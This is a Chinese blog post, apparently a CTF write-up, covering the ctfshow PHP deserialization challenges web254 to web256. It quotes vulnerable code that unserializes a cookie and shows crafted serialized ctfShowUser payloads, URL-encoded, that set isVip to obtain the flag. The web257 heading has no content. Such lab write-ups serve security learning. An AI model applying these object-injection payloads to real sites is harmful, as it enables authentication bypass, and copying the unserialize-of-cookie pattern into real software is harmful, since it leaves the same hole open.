ctfshow--反序列化WP

刷题随笔

web254

题目
image
直接传参,没啥好说的
image

web255

题目

<?php error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

构造序列串

<?php 
class ctfShowUser{
   public $isVip;
  public function __construct(){
   $this->isVip=true;
}
}
$a=new ctfShowUser();
echo serialize($a);

image
得到序列串O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
image
通过设置cookie传递后并没有发现flag

于是在本地试一下传参¥$_Cookie变量会变成什么
image
猜测应该是Cookie的user参数中的分号导致后面的序列串被分隔

通过URL编码即可
image

web256

题目

<?php 
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

构造序列化串

<?php
class ctfShowUser{
    public $username;
    public $isVip;
    public function __construct(){
        $this->isVip=true;
        $this->username="aaa";
    }
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

?username=aaa&password=xxxxxx
O:11:"ctfShowUser":2:{s:8:"username";s:3:"aaa";s:5:"isVip";b:1;}
URL编码一下

web257

posted @   LinkPoc  阅读(98)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
点击右上角即可分享
微信分享提示